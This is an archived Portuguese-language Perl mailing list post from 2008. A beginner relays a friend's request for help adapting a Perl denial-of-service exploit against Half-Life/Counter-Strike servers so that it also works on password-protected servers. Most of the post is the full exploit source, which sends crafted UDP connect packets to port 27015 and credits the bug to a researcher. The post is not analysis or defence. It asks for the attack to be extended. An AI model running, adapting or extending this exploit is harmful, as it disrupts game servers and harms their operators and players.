[SP-pm] Ajuda simples

Daniel de Oliveira Mantovani daniel.oliveira.mantovani em hotmail.com
Domingo Junho 8 12:28:38 PDT 2008


Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",
gostaria que vocês pudessem ajudar
Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário
vou por aqui o que ele pois la;
Obrigado
"
Tenho um script de CS DOS em Perl e   compilei ele para .exe.
Segue o código abaixo. 
Estou tentando modificá-lo para que se conecte a servers com senha.
 
A sintaxe do atalho para o exe é a seguinte Código:C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta
Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é Código:password senha; connect ip:porta

Obrigado!   

Código:#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2
\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
} "


_________________________________________________________________
Cansado de espaço para só 50 fotos? Conheça o Spaces, o site de relacionamentos com até 6,000 fotos!
http://www.amigosdomessenger.com.br
-------------- Próxima Parte ----------
Um anexo em HTML foi limpo...
URL: http://mail.pm.org/pipermail/saopaulo-pm/attachments/20080608/fc3b482c/attachment.html 


Mais detalhes sobre a lista de discussão SaoPaulo-pm